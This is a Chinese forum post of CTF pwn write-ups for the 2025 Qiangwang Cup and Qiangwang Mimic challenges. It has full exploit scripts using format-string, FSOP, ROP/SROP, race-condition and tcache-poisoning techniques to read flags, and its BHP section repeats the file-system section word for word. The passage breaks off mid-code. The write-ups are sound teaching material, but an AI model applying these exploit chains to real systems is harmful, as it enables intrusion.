首页
课程
问答
CTF
社区
招聘
峰会
发现
排行榜
知识库
工具下载
看雪20年
看雪商城
证书查询
登录
注册
首页
社区
课程
招聘
发现
问答
CTF
排行榜
知识库
工具下载
峰会
看雪商城
证书查询
社区
Pwn
发新帖
2
3
[原创] 2025 强网杯和强网拟态部分题解
发表于: 2025-10-31 07:39
12367
[原创] 2025 强网杯和强网拟态部分题解
zer00ne
3
2025-10-31 07:39
12367
# 强网杯 ## flag-market  程序先是打开了/flag文件  只有输入金额为0xff时才能进入下面的逻辑,否则关闭`flag`并清空`token`变量  随后将flag的头打印出来,将内存中的flag清空,并允许我们向user.log写入内容 由于使用了scanf("%s"),导致可以写入无限长内容  当输入长度超过0x100,便可以覆盖format  可以自由格式化字符串,但由于是data段的格式化字符串  但这里可以输入0x10字节,所以可以将got表写在栈上,但是由于token清空我们无法再次进入scanf("%s") 如果我们将exit的got表改写为main函数,在退出时便可以再次进入main中,token便会刷新,我们又可以控制格式化字符串参数 然后可以使用格式化字符串泄露堆地址 由于flag是文件,所以被串在_IO_list_all的链表中,位于堆上,其中的文件指针中包含flag的内容,只要稍微调试便可以找到flag字符串相对于堆地址的偏移 再次使用exit退出,最后一次格式化字符串将flag的地址写在栈上并使用%s参数泄露flag内容,便可以获得flag ```python from pwn import * #io=process('./pwn') context.log_level='debug' io=remote("47.93.216.175",38936) def bug(): gdb.attach(io,"b *0x4014bc") io.sendlineafter(b"2.exit",b"1") io.sendlineafter(b"how much you want to pay?",b"255") io.recvuntil(b"opened user.log, please report:\n") payload=f"%{0x40}c%13$hhn%{0x13c3-0x40}c%12$hn".encode()#0x4013C3 io.sendline(b'a'*0x100+payload) io.sendline(b"1") got=0x404090 io.send(p64(got)+p64(got+2)) io.sendlineafter(b"2.exit",b"2") io.sendlineafter(b"2.exit",b"2") io.sendlineafter(b"2.exit",b"1") io.sendlineafter(b"how much you want to pay?",b"255") io.recvuntil(b"opened user.log, please report:\n") io.sendline(b'a'*0x100+b"%11$p") io.sendlineafter(b"2.exit",b"1") #io.recvuntil(b"how much you want to pay?\n") io.recvuntil(b"want to pay?\n") io.sendline(b"1") heap=int(io.recvuntil(b"we")[:-2],16) print(hex(heap)) io.sendlineafter(b"2.exit",b"2") io.sendlineafter(b"2.exit",b"2") io.sendlineafter(b"2.exit",b"1") io.sendlineafter(b"how much you want to pay?",b"255") io.recvuntil(b"opened user.log, please report:\n") io.sendline(b'a'*0x100+b"%16$s") io.sendlineafter(b"2.exit",b"1") io.send(p64(heap+0x3c0)+p64(heap+0x3c0)) io.interactive() ``` ## file-system  在leak中,可以输入0x28字节数据,泄露libc地址  随后进入一个堆管理菜单  其中edit,show,free都没有什么用 add功能只能使用一次,但是没有限制申请堆块的大小  这里的问题是没有对malloc大小进行检查,边直接进行read与ptr+size-1的置零 当malloc大小过大会malloc失败并返回null 所以当我们申请addr+1大小(足够大),便可以实现对任意addr的null写 由于我们已经知道了libc地址,便可以实现对任意libc地址的null写 libc的攻击面(got表,IO结构体,IO_list_all) 其中2.39中got已经不可写了,使用null攻击IO_list_all远远不够 如果攻击stdout结构体,最多只能泄露,但是我们已经有了libc地址 所以只剩下stdin可以攻击  在写入null时,stdin结构体的read_base为0x74ee68c03963,read_ptr为0x74ee68c03964 如果在read_base的末尾置0,下次走IO的输入函数便可以复写stdin结构体中read的三枚指针,可以在libc中任意长度写  ```python from pwn import * io=process('./pwn') libc=ELF('./libc.so.6') #io=remote("123.56.27.220",26633) def bug(): gdb.attach(io) def add(size): io.sendlineafter(b"Choice: ",b"1") io.sendlineafter(b"Size: ",str(size).encode()) io.send(b'a'*0x28) io.recvuntil(b'a'*0x28) base=u64(io.recv(6)+b'\x00\x00')-0xaddae print(hex(base)) stdin=base+0x2038e0 add(stdin+0x38+1) IO=base+libc.sym._IO_2_1_stdout_ io.send(p64(0)*3+p64(IO)+p64(IO+0xa000)) ``` 由于开启了沙箱,使用orw绕过沙箱即可 直接在IO结构体中FSOP,使用setcontext进行栈迁移即可执行ROP ``` from pwn import * io=process('./pwn') libc=ELF('./libc.so.6') #io=remote("123.56.27.220",26633) def bug(): gdb.attach(io) def add(size): io.sendlineafter(b"Choice: ",b"1") io.sendlineafter(b"Size: ",str(size).encode()) io.send(b'a'*0x28) io.recvuntil(b'a'*0x28) base=u64(io.recv(6)+b'\x00\x00')-0xaddae print(hex(base)) stdin=base+0x2038e0 add(stdin+0x38+1) IO=base+libc.sym._IO_2_1_stdout_ io.send(p64(0)*3+p64(IO)+p64(IO+0xa000)) rdi=base+0x000000000010f78b rsi=base+0x0000000000110a7d rdx=base+0x0000000000138d05#movsxd rdx, ecx ; ret rcx=base+0x00000000000a877e jmp_gadget=base+0x00000000000ee303 openat=base+libc.sym.openat read=base+libc.sym.read write=base+libc.sym.write #------------------------------------------------ rop=p64(rdi)+p64(0x10000000000000000-100) rop+=p64(rsi)+p64(IO + 0xe8) rop+=p64(rcx)+p64(0)+p64(rdx) rop+=p64(rcx)+p64(0) rop+=p64(openat) rop+=p64(rdi)+p64(3) rop+=p64(rsi)+p64(IO+0xe0) rop+=p64(rcx)+p64(0x50)+p64(rdx) rop+=p64(read) rop+=p64(rdi)+p64(1) rop+=p64(rsi)+p64(IO+0xe0) rop+=p64(rcx)+p64(0x50)+p64(rdx) rop+=p64(write) #-------------------------------------------------- fake_file = flat({ 0x0: p64(0x320), 0x10: p64(base+libc.sym.setcontext + 61), 0x20: p64(IO), 0x78: p64(jmp_gadget), 0x88: p64(base+libc.sym._environ-0x10), # _lock_chain 0xa0: p64(IO), 0xa8: p64(jmp_gadget), 0xd8: p64(base+libc.sym._IO_wfile_jumps + 0x10), 0xe0: p64(IO-8) }, filler=b"\x00") fake_file+=b"./flag".ljust(0x10,b'\x00') fake_file+=rop io.sendafter("Choice:", fake_file) io.interactive() ``` ## BHP  在leak中,可以输入0x28字节数据,泄露libc地址  随后进入一个堆管理菜单  其中edit,show,free都没有什么用 add功能只能使用一次,但是没有限制申请堆块的大小  这里的问题是没有对malloc大小进行检查,边直接进行read与ptr+size-1的置零 当malloc大小过大会malloc失败并返回null 所以当我们申请addr+1大小(足够大),便可以实现对任意addr的null写 由于我们已经知道了libc地址,便可以实现对任意libc地址的null写 libc的攻击面(got表,IO结构体,IO_list_all) 其中2.39中got已经不可写了,使用null攻击IO_list_all远远不够 如果攻击stdout结构体,最多只能泄露,但是我们已经有了libc地址 所以只剩下stdin可以攻击  在写入null时,stdin结构体的read_base为0x74ee68c03963,read_ptr为0x74ee68c03964 如果在read_base的末尾置0,下次走IO的输入函数便可以复写stdin结构体中read的三枚指针,可以在libc中任意长度写  ```python from pwn import * io=process('./pwn') libc=ELF('./libc.so.6') #io=remote("123.56.27.220",26633) def bug(): gdb.attach(io) def add(size): io.sendlineafter(b"Choice: ",b"1") io.sendlineafter(b"Size: ",str(size).encode()) io.send(b'a'*0x28) io.recvuntil(b'a'*0x28) base=u64(io.recv(6)+b'\x00\x00')-0xaddae print(hex(base)) stdin=base+0x2038e0 add(stdin+0x38+1) IO=base+libc.sym._IO_2_1_stdout_ io.send(p64(0)*3+p64(IO)+p64(IO+0xa000)) ``` 由于开启了沙箱,使用orw绕过沙箱即可 直接在IO结构体中FSOP,使用setcontext进行栈迁移即可执行ROP ``` from pwn import * io=process('./pwn') libc=ELF('./libc.so.6') #io=remote("123.56.27.220",26633) def bug(): gdb.attach(io) def add(size): io.sendlineafter(b"Choice: ",b"1") io.sendlineafter(b"Size: ",str(size).encode()) io.send(b'a'*0x28) io.recvuntil(b'a'*0x28) base=u64(io.recv(6)+b'\x00\x00')-0xaddae print(hex(base)) stdin=base+0x2038e0 add(stdin+0x38+1) IO=base+libc.sym._IO_2_1_stdout_ io.send(p64(0)*3+p64(IO)+p64(IO+0xa000)) rdi=base+0x000000000010f78b rsi=base+0x0000000000110a7d rdx=base+0x0000000000138d05#movsxd rdx, ecx ; ret rcx=base+0x00000000000a877e jmp_gadget=base+0x00000000000ee303 openat=base+libc.sym.openat read=base+libc.sym.read write=base+libc.sym.write #------------------------------------------------ rop=p64(rdi)+p64(0x10000000000000000-100) rop+=p64(rsi)+p64(IO + 0xe8) rop+=p64(rcx)+p64(0)+p64(rdx) rop+=p64(rcx)+p64(0) rop+=p64(openat) rop+=p64(rdi)+p64(3) rop+=p64(rsi)+p64(IO+0xe0) rop+=p64(rcx)+p64(0x50)+p64(rdx) rop+=p64(read) rop+=p64(rdi)+p64(1) rop+=p64(rsi)+p64(IO+0xe0) rop+=p64(rcx)+p64(0x50)+p64(rdx) rop+=p64(write) #-------------------------------------------------- fake_file = flat({ 0x0: p64(0x320), 0x10: p64(base+libc.sym.setcontext + 61), 0x20: p64(IO), 0x78: p64(jmp_gadget), 0x88: p64(base+libc.sym._environ-0x10), # _lock_chain 0xa0: p64(IO), 0xa8: p64(jmp_gadget), 0xd8: p64(base+libc.sym._IO_wfile_jumps + 0x10), 0xe0: p64(IO-8) }, filler=b"\x00") fake_file+=b"./flag".ljust(0x10,b'\x00') fake_file+=rop io.sendafter("Choice:", fake_file) io.interactive() ``` ## Ez-stack ### 前置分析  程序的逻辑十分简单,可以溢出0xd8字节,存在沙箱且有一个小后门(将读入的字节数写入栈上)  可以看到沙箱留下了wr和Sigreturn以及一些无关紧要的系统调用  通过`dockerfile`可以分析出flag作为环境变量,被放在栈上 省去了`orw`中`open`和`read`两步,我们只需要获得栈地址再遍历栈就可以获得`flag` ### 攻击面分析 第一步,由于我们没有栈地址,所以应该先进行栈迁移到bss上 想要使用`SROP`又需要`syscall`地址,而`syscall`只能来自于libc 所以应该在`bss`上写入`libc`地址 那么可以在栈迁移后调用`start`函数,将大量地址写入`bss`段 ```python from pwn import * env = {'FLAG': 'flag{your_flag_here}'} io=process('./pwn',env=env) libc=ELF('./libc.so.6') #io=remote("47.105.116.238",9999) def bug(): gdb.attach(io,"b *0x4015FB") context.arch='amd64' read=0x4015FB bss=0x404000+0x800 #从bss的中间部分开始栈迁移 start=0x401170 leave=0x40161E target=0x4047c0 ret=leave+1 syscall=0x404788 #src:0x2a2dc target:0x91316 在libc中的syscall;ret地址 magic=0x40123D-1 #用于对任意libc地址进行偏移调整的gadget rbp=magic+1 payload=p64(bss)*3+2*p64(bss)+p64(read) io.send(payload) pause() payload=p64(bss-0x20)+p64(start)+b'\x00'*8+p64(bss-0x400)+p64(bss-0x20)+p64(leave) io.send(payload) ```  可以看到已经有不少libc地址被写入bss段 下一步想使用magic_gadget将任意libc地址修改为syscall地址,但是使用magic_gadget的前提是控制`rbx`与`rbp`寄存器,想控制这两个寄存器则需要`pop rbx;ret`这样的指令 我们有需要从libc中获得,通过观察可以发现   在bss段的libc地址的附近有这样的gadget,但是与libc地址相差了2字节,由于libc偏移的页偏移机制,只有1.5字节是固定的,所以这里需要爆破半字节(1/16) 通过末位覆盖达成这个目的(`p16(0xa2dc)`) ```python payload=p64(bss)*3+2*p64(target+0x20-0x30)+p64(read)+b'a'*0x98+p16(0xa2dc) io.send(payload) pause() ``` 注意这里的`gadget`使用的是从`add rsp,0x38`开始的,至于为什么要这样选择要看后续利用 此时这个libc地址变成了可以控制rbx/rbp的gadget,我们还需要在这个gadget的高地址处布置magic_gadget与其他ROP,所以要把`target`设置为这个libc地址的下一个bss地址  从此处开始布置新的ROP链,此次布置要包含两个部分 1. 直接覆盖返回地址,控制下次溢出时执行流到`change_libc_ROP`的低地址处 2. 续写`change_libc_ROP`,将`magic_gadget`与后续调用写入高地址 这也是刚刚选择控制rbx的gadget时要带上一段跳栈汇编`add rsp,0x38`的原因,需要保证两个ROP不能重叠 ``` payload =p64(0x404790+0x20)+p64(read) #这次的返回地址 payload+=b'0'*8+p64(bss-0x300)+p64(target-0x60)+p64(read)+b'1'*8 #此次执行用于向低地址写的ROP payload+=p64(-0x2a2dc+0x91316) #当前libc地址到syscall地址的偏移 payload+=p64(syscall+0x3d)+p64(magic)#当前libc地址对应的bss地址+0x3d与magic_gadget target=0x404790 payload+=p64(rbp)+p64(target)+p64(leave)#第二次溢出后执行栈迁移,将RSP拉低到低地址(如果只靠pop rbp与部分read,RSP只会越来越高,必须使用leave才能拉低RSP) io.send(payload) ``` 此后向低地址垫入ret滑梯,便可以将RSP滑到布置了好久的ROP上,执行将libc地址修改为syscall地址的ROP  ```python payload=b'a'*0x18+p64(bss-0x600)+p64(bss)+p64(ret)*4 io.send(payload) ``` 经过这个ROP,bss上的Libc地址被成功改写为`syscall`地址,离我们使用SROP进了一步 我们在写SROP前要先梳理下目标结构  高地址处要写入`SigreturnFrame`,低地址要写入`ret`滑梯,并且要在滑梯中插入一个read.plt(控制rax用) ```python f=SigreturnFrame() f.rsp=syscall f.rax=1 f.rdi=1 f.rsi=0x403FC0 f.rdx=0x8 f.rip=ret f.rbp=0x404790+0x20 payload=p64(read)+p64(rbp)+p64(target-0x60)+p64(read)+p64(leave)+bytes(f)[0x28:] io.send(payload) pause() ``` 上次布置的ROP允许我们直接向syscall的高地址写入内中 我们除了要写`SigreturnFrame`,还要写入syscall后的后续利用:我们通过SROP获取`libc`地址后对栈遍历的ROP 我们先写入 ``` io.send(p64(target-0x40)*5+p64(read)+p64(bss)*2) pause() ``` 然后通过刚刚的leave将`RSP`移到`syscall`的低地址,再调用read,便可以向低地址到syscall中间填充ret滑梯 ``` io.send(p64(ret)*5+p64(0x401110)+p64(ret)*5) pause() io.send(b'a'*0xf) pause() ``` 最后一次栈溢出,便将RSP沿着ret滑梯,滑倒了syscall上  上半部分是ret滑梯,下半部分是后续的`SigreturnFrame`与后续ROP的重合结构  SROP转为write调用,将got表打印出来,获得了libc地址 此时再次调用read,read会根据我们刚刚设定的rbp确定rsi的地址,所以`SigreturnFrame`中要确定rbp的位置  通过调整rbp大小,我们可以直接覆盖read.plt的返回地址 实现最后一次ROP,此时我们得知了libc地址,可以打印出envrion成员(栈地址),再调用write函数对栈进行遍历  可以最终获得栈上的环境遍历FLAG  # 强网拟态 ## baby_stack/stack baby_stack是最最最简单的栈溢出,就不写了  通过gdb调试发现可以泄露栈地址  程序中还存在syscall指令,且未开启PIE保护 还存在一个很大的栈溢出 可以考虑先使用SROP调用write进行libc地址的泄露,然后再次栈溢出进行orw(本题开启了沙箱) ``` from pwn import * #io=process('./pwn') io=remote("pwn-ecae715792.challenge.xctf.org.cn", 9999, ssl=True) libc=ELF('./libc.so.6') context.arch='amd64' io.send(b'a'*0x10) io.recvuntil(b'a'*0x10) stack=u64(io.recv(6)+b'\x00\x00') print(hex(stack)) syscall=0x40140E read=0x4010F0 f=SigreturnFrame() f.rdi=1 f.rax=1 f.rsi=0x403FA8 f.rip=syscall f.rdx=8 f.rsp=stack+0xf8 payload=b'a'*0x68+p64(read)+p64(syscall)+bytes(f)+p64(0x401443) #gdb.attach(io) io.send(payload) pause() io.send(b'a'*0xf) io.recvuntil(b"Any thing else?\n") base=u64(io.recv(8))-libc.sym.puts print(hex(base)) ope=base+libc.sym.open sendfile=base+libc.sym.sendfile rdi=base+0x000000000002a3e5 rsi=base+0x000000000002be51 rdx=base+0x000000000011f357 rcx=base+0x000000000003d1ee payload =b'a'*0x60+b'./flag\x00\x00'+p64(rdi)+p64(stack+0xf8)+p64(rsi)+p64(0)+p64(ope) payload+=p64(rdi)+p64(1)+p64(rsi)+p64(3)+p64(rdx)+p64(0)*2+p64(rcx)+p64(0x120)+p64(sendfile) io.send(payload) io.interactive() ``` 很公式的打法 ## Pin_note ### 逻辑逆向分析 无论是逻辑还是字符串都经过了高度混淆 通过gdb与黑盒测试可以得出以下基础流程  在进入note前需要设置一个密码,此后进入一个堆块管理系统(choice 2) 拥有增删改查功能 在进入note前,会先进行open与mmap操作  使用gdb调试这个mmap返回的内存,结合堆块管理操作,发现是用来记录堆块大小的(我添加了0x500和0x600的堆块)  我们着重关注这个mmap操作 `mmap(0LL, 0x60uLL, 3, 1, fd, 0LL)` - rdi : 0 地址由内核分配 - rsi : 0x60 映射长度,会被对齐到0x1000 - rdx : 3 拥有读写权限,3==2|1 - rxc : **关键** `内存和文件内容共享` 意味着此时这片内存与磁盘是时时共享信息 - r8 : fd 被共享的文件句柄 - r9 : 0 偏移为0 随后即使close(fd),此时这片内存与磁盘中的文件完成了绑定,二者的关系依旧不变  在堆管理器中依旧存在高度的指令混淆和字符串混淆 通过调试可以简单逆向出这些操作 ``` def add(size): io.sendlineafter(b'$> ', b'add') io.sendlineafter(b'Enter size of note: ', str(size).encode()) def edit(index, size ,content=b'\x01'): io.sendlineafter(b'$> ', b'edit') io.sendlineafter(b'Enter index of note to edit: ', str(index).encode()) io.sendlineafter(b'Enter newsize: ', str(size).encode()) if content==b'\x01': io.sendlineafter(b'Do you confirm to editing this note? (y/n): ',b'n') else: io.sendlineafter(b'Do you confirm to editing this note? (y/n): ',b'y') io.sendlineafter(b'Enter new content for note: ', content) def free(index): io.sendlineafter(b'$> ', b'del') io.sendlineafter(b'Enter index of note to delete: ', str(index).encode()) def show(index): io.sendlineafter(b'$> ', b'show') io.sendlineafter(b'Enter index of note to show: ', str(index).encode()) ``` 很标准的增删改查 ### 漏洞寻找 ### 堆管理系统 最先堆操作原语中寻找漏洞,比如常见的uaf,堆溢出(包括offbynull,offbyone) 按照特征对几个漏洞进行分析,使用了gdb调试与`fuzzer`进行盲打 发现并不存在漏洞,也就是说堆管理系统是安全的 ### 共享内存 这道题的特色就是存在着一个管理堆块大小的`磁盘-内存共享空间` 既然堆管理原语不存在漏洞,那么漏洞只能存在于这个共享内存中了 通过gdb调试发现,每次创建的文件名都是一串随机字符  通过对字符串进行溯源,可以猜测字符串的生产与可能输入的`passwd`和时间有关  此时使用`hook`对猜想进行验证 ```c #define _GNU_SOURCE #include <dlfcn.h> #include <stdarg.h> #include <stdio.h> #include <unistd.h> void open(char* filename) { puts("********************************"); printf("%s",filename); return; } ``` 将此源码编译为`.so`并在程序运行时`PRELOAD`,open操作会被hook为打印操作 可以显示出我们的字符串 再写一个简单的py脚本对每次运行时回显的文件名进行接收 ```python from pwn import * lib = os.path.abspath('./hook.so') env = os.environ.copy() env['LD_PRELOAD'] = lib #io = process(['./pwn'], env=env) def bug(): gdb.attach(io,"b *$rebase(0x3ABD)\nc") while True: io = process(['./pwn'], env=env) io.recvuntil(b'select: ') io.sendline(b'1') io.recvuntil(b'characters): ') io.sendline(b'Mim') io.recvuntil(b'select: ') io.sendline(b'2') io.recvuntil(b"********************************\n") filename=io.recvuntil(b"Failed")[:-6].decode() os.system(f"echo {filename} >> log.txt") io.close() ``` 结果会被记录在`log.txt`中 运行py后查看log,可以看到文件名随着时间均匀变化,证明文件名确实是时间戳产生的随机数与`passwd`组合产生的摘要  ### 条件竞争 现在我们已知 1. 每个elf的进程都会打开一个文件,并时时刻刻共享此进程中的内存与磁盘 2. 短时间内会打开相同的文件,导致一个文件被多个进程的内存共享 3. 堆操作原语中不存在可以利用的漏洞(除heap与libc的信息泄露) 只要让两个进程同时打开一个文件,一个文件对堆块大小列表进行修改,就会映射到另一个进程的堆块大小列表中 这样可以造成任意长度的堆溢出 ### 攻击 ### 信息泄露 ```python io.recvuntil(b'select: ') io.sendline(b'1') io.recvuntil(b'characters): ') io.sendline(b'Mim') io.recvuntil(b'select: ') io.sendline(b'2') add(0x500)#0 add(0x500)#1 add(0x600)#2 add(0x500)#3 bug() free(0) free(2) add(0x500) show(0) io.recvuntil(b'Content: ') base=u64(io.recv(6)+b'\x00\x00')-0x21ace0 print(hex(base)) free(0) add(0x500)#0 add(0x600)#2 edit(2,0x10,b'a'*0x10) show(2) io.recvuntil(b'a'*0x10) heap=u64(io.recv(6)+b'\x00\x00')-0xd30 print(hex(heap)) free(0) free(1) free(2) free(3) ``` 本身操作原语中存在未置零的缺陷,可以直接泄露出libc地址与heap地址 ### 溢出前的堆风水 ``` add(0x10)#0 add(0x60)#1 add(0x80)#2 add(0xa0)#3 add(0x800)#4 add(0x60)#5 add(0xa0)#6 free(5) free(6) key=heap>>12 _IO_list_all=base+libc.sym._IO_list_all environ=base+libc.sym.environ free(1) ``` 准备了两个堆溢出布局  第一个用来泄露栈地址 第二个用来劫持返回地址进行`ROP` ### 条件竞争 ``` def overflow(): s=process('./pwn') s.recvuntil(b'select: ') s.sendline(b'1') s.recvuntil(b'characters): ') s.sendline(b'Mim') s.recvuntil(b'select: ') s.sendline(b'2') s.sendlineafter(b'$> ', b'add') s.sendlineafter(b'Enter size of note: ', str(0x500).encode()) s.sendlineafter(b'$> ', b'add') s.sendlineafter(b'Enter size of note: ', str(0x500).encode()) s.sendlineafter(b'$> ', b'add') s.sendlineafter(b'Enter size of note: ', str(0x500).encode()) s.close() ``` 随后进行条件竞争,开启另外一个进程中将堆块大小列表填入三个`0x500` 如果进程s和进程io开启了同一个文件,就会导致io中堆块大小被修改为`0x500`  经过小小的爆破,可以看到io进程中的共享内存被s进程的操作修改 此时可以使用edit功能进行栈溢出 ### next污染与栈溢出 ``` edit(0,0x28,b'a'*0x10+p64(0)+p64(0x71)+p64(key^environ)) chun=heap+0x4e0 add(0x60)#1 add(0x60)#5 show(5) io.recvuntil(b"Content: ") stack=u64(io.recv(6)+b'\x00\x00')-0x228-8-0x88 print(f"stack-->{hex(stack)}") free(3) edit(2,0x98,b'a'*0x80+p64(0)+p64(0xb1)+p64(key^(stack))) add(0xa0)#3 add(0xa0)#6 flag=stack rdi=p64(base+0x000000000002a3e5) rsi=p64(base+0x000000000002be51) rdx=p64(base+0x000000000011f357) rcx=p64(base+0x000000000003d1ee) ope=base+libc.sym.open sendfile=base+libc.sym.sendfile orw =rdi+p64(flag)+rsi+p64(0)+rdx+p64(0)*2+p64(ope) orw+=rdi+p64(1)+rsi+p64(3)+rdx+p64(0)*2+rcx+p64(0x100)+p64(sendfile) edit(6,0xa0,b"./flag\x00\x00"+orw) io.interactive() ``` 通过这道题我发现劫持read函数的返回地址是最方便的,不用担心canary的问题 以前都是劫持edit函数的返回地址,有时候add函数中没用read功能就会导致add返回时canary被修改 ### EXP ```python from pwn import * #context.log_level='debug' io=process('./pwn') #s=process('./pwn') libc=ELF('./libc.so.6') def bug(): gdb.attach(io) def add(size): io.sendlineafter(b'$> ', b'add') io.sendlineafter(b'Enter size of note: ', str(size).encode()) def edit(index, size ,content=b'\x01'): io.sendlineafter(b'$> ', b'edit') io.sendlineafter(b'Enter index of note to edit: ', str(index).encode()) io.sendlineafter(b'Enter newsize: ', str(size).encode()) if content==b'\x01': io.sendlineafter(b'Do you confirm to editing this note? (y/n): ',b'n') else: io.sendlineafter(b'Do you confirm to editing this note? (y/n): ',b'y') io.sendlineafter(b'Enter new content for note: ', content) def free(index): io.sendlineafter(b'$> ', b'del') io.sendlineafter(b'Enter index of note to delete: ', str(index).encode()) def show(index): io.sendlineafter(b'$> ', b'show') io.sendlineafter(b'Enter index of note to show: ', str(index).encode()) def overflow(): s=process('./pwn') s.recvuntil(b'select: ') s.sendline(b'1') s.recvuntil(b'characters): ') s.sendline(b'Mim') s.recvuntil(b'select: ') s.sendline(b'2') s.sendlineafter(b'$> ', b'add') s.sendlineafter(b'Enter size of note: ', str(0x500).encode()) s.sendlineafter(b'$> ', b'add') s.sendlineafter(b'Enter size of note: ', str(0x500).encode()) s.sendlineafter(b'$> ', b'add') s.sendlineafter(b'Enter size of note: ', str(0x500).encode()) s.close() io.recvuntil(b'select: ') io.sendline(b'1') io.recvuntil(b'characters): ') io.sendline(b'Mim') io.recvuntil(b'select: ') io.sendline(b'2') add(0x500)#0 add(0x500)#1 add(0x600)#2 add(0x500)#3 free(0) free(2) add(0x500) show(0) io.recvuntil(b'Content: ') base=u64(io.recv(6)+b'\x00\x00')-0x21ace0 print(hex(base)) free(0) add(0x500)#0 add(0x600)#2 edit(2,0x10,b'a'*0x10) show(2) io.recvuntil(b'a'*0x10) heap=u64(io.recv(6)+b'\x00\x00')-0xd30 print(hex(heap)) free(0) free(1) free(2) free(3) #=-=-=-=-=-=-==-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=--= add(0x10)#0 add(0x60)#1 add(0x80)#2 add(0xa0)#3 add(0x800)#4 add(0x60)#5 add(0xa0)#6 free(5) free(6) key=heap>>12 _IO_list_all=base+libc.sym._IO_list_all environ=base+libc.sym.environ free(1) overflow() bug() edit(0,0x28,b'a'*0x10+p64(0)+p64(0x71)+p64(key^environ)) chun=heap+0x4e0 add(0x60)#1 add(0x60)#5 show(5) io.recvuntil(b"Content: ") stack=u64(io.recv(6)+b'\x00\x00')-0x228-8-0x88 print(f"stack-->{hex(stack)}") free(3) edit(2,0x98,b'a'*0x80+p64(0)+p64(0xb1)+p64(key^(stack))) add(0xa0)#3 add(0xa0)#6 flag=stack rdi=p64(base+0x000000000002a3e5) rsi=p64(base+0x000000000002be51) rdx=p64(base+0x000000000011f357) rcx=p64(base+0x000000000003d1ee) ope=base+libc.sym.open sendfile=base+libc.sym.sendfile orw =rdi+p64(flag)+rsi+p64(0)+rdx+p64(0)*2+p64(ope) orw+=rdi+p64(1)+rsi+p64(3)+rdx+p64(0)*2+rcx+p64(0x100)+p64(sendfile) edit(6,0xa0,b"./flag\x00\x00"+orw) io.interactive() ``` ## 车联网 can  先是开始沙箱和初始化缓冲区和一些结构体后,要求输入硬编码的魔数 随后是个菜单,显式选项有三个,`退出` `帮助` 和 `重置` 退出和帮助没什么用,重置会再次刷新结构体成员  结构体中包含一枚函数指针,几乎可以猜到要攻击什么东西了 ``` __int64 __fastcall main(int a1, char **a2, char **a3) { __int64 result; // rax __int64 v4; // r15 const unsigned __int16 *v5; // rsi __int64 n35; // rax unsigned __int16 v7; // cx char *i; // rdx __int64 v9; // rcx unsigned int v10; // ebx __int16 v11; // cx int v12; // eax __int64 v13; // rdx char *i_1; // r8 __int64 v15; // rcx unsigned __int64 n0xD; // rdi char *v17; // r8 int n7; // r12d __int64 v19; // rax __int64 v20; // rdx __int64 v21; // r8 __int64 v22; // rdi __int64 v23; // rax char *v24; // rdx char v25; // cl int v26; // edi __int64 v27; // r8 __int64 v28; // rax int n12803159; // [rsp+Ch] [rbp-25Ch] BYREF __int64 v30; // [rsp+10h] [rbp-258h] BYREF __int64 v31; // [rsp+18h] [rbp-250h] BYREF char s[520]; // [rsp+20h] [rbp-248h] BYREF unsigned __int64 v33; // [rsp+228h] [rbp-40h] ... else { v30 = 0LL; v5 = *__ctype_b_loc(); LOBYTE(n35) = s[0]; v7 = v5[(unsigned __int8)s[0]]; for ( i = s; (v7 & 0x2000) != 0; v7 = v5[v9] ) { v9 = (unsigned __int8)*++i; LOBYTE(n35) = v9; } v10 = 0; while ( 1 ) { v11 = v7 & 0x2000; if ( !(_BYTE)n35 || (_BYTE)n35 == 35 ) break; if ( v11 ) goto LABEL_18; v12 = sub_16B0((unsigned int)(char)n35); if ( v12 < 0 ) goto LABEL_16; i = (char *)(v13 + 1); v10 = v12 | (16 * v10); if ( i == i_1 ) goto LABEL_16; n35 = (unsigned __int8)*i; v7 = v5[n35]; } if ( v11 ) { do { LABEL_18: v15 = (unsigned __int8)*++i; LOBYTE(n35) = v15; } while ( (v5[v15] & 0x2000) != 0 ); } if ( (_BYTE)n35 != 35 ) { LABEL_16: puts("bad format."); continue; } n0xD = (unsigned __int8)i[1]; v17 = i + 1; n7 = 0; v31 = 0LL; if ( (unsigned __int8)n0xD <= 0xDu ) { v19 = -9218LL; if ( !_bittest64(&v19, n0xD) ) goto LABEL_22; } while ( 1 ) { v24 = v17 + 1; if ( (v5[(unsigned __int8)n0xD] & 0x2000) == 0 ) { if ( (int)sub_16B0((unsigned int)(char)n0xD) < 0 ) goto LABEL_16; v22 = *(unsigned __int8 *)(v21 + 1); if ( (v5[v22] & 0x2000) != 0 ) { do { v23 = *(unsigned __int8 *)++v20; LOBYTE(v22) = v23; } while ( (v5[v23] & 0x2000) != 0 ); } v26 = sub_16B0((unsigned int)(char)v22); if ( v26 < 0 || n7 > 7 ) goto LABEL_16; v27 = n7++; s[v27 - 8] = v26 | (16 * v25); } n0xD = (unsigned __int8)*v24; if ( (unsigned __int8)n0xD <= 0xDu && !_bittest64(&v4, n0xD) ) break; v17 = v24; } v28 = __memcpy_chk(&v30, &v31, n7, 8LL); if ( n7 > 0 ) content_deal(v10, v28, (unsigned int)n7); else LABEL_22: puts("bad data"); } } } } return result; } ``` 长长的一段逻辑,实际上是进行对数据包的是否符合协议格式的检测 简单来说是数据必须符合以下格式 `[命令头部HEX]#[数据HEX...]` 这是车联网领域`CAN/ISO-TP`通信协议的简化版本 ``` void __fastcall content_deal(int a1, unsigned __int8 *a2, int n2) { size_t n_1; // rdx char n32; // cl unsigned int v8; // ebx const char *[err]_CF_seq_mismatch_exp_%u_got_%u_@_handler_%p_n; // rsi size_t n7_1; // r12 int n8; // eax size_t n; // rbx __int16 n_2; // bx size_t n6; // r12 __int64 v15; // rdx __int64 n_3; // rbx int n7; // eax if ( n2 > 0 ) { n_1 = *a2; n32 = *a2 & 0xF0; if ( n32 ) { if ( n32 == 16 ) { dword_4040 = 1; n_2 = n_1; n6 = 0LL; v15 = a2[1]; qword_4048 = 0LL; dword_4010 = 1; n_3 = v15 | (n_2 << 8) & 0xF00; n = n_3; if ( n2 > 2 ) { n7 = n2 - 2; n6 = n7; if ( n7 >= 7 ) n6 = 6LL; } sub_1840(a2 + 2, n6); __printf_chk(1LL, "[FF] id=0x%X total=%zu copied=%zu\n", a1, n_3, n6); } else if ( n32 == 32 ) { v8 = n_1 & 0xF; if ( dword_4040 ) { [err]_CF_seq_mismatch_exp_%u_got_%u_@_handler_%p_n = "[err] CF seq mismatch exp=%u got=%u @ handler=%p\n"; if ( dword_4010 == v8 ) { n7_1 = 0LL; dword_4010 = v8 % 0xF + 1; if ( n2 != 1 ) { n8 = n2 - 1; n7_1 = 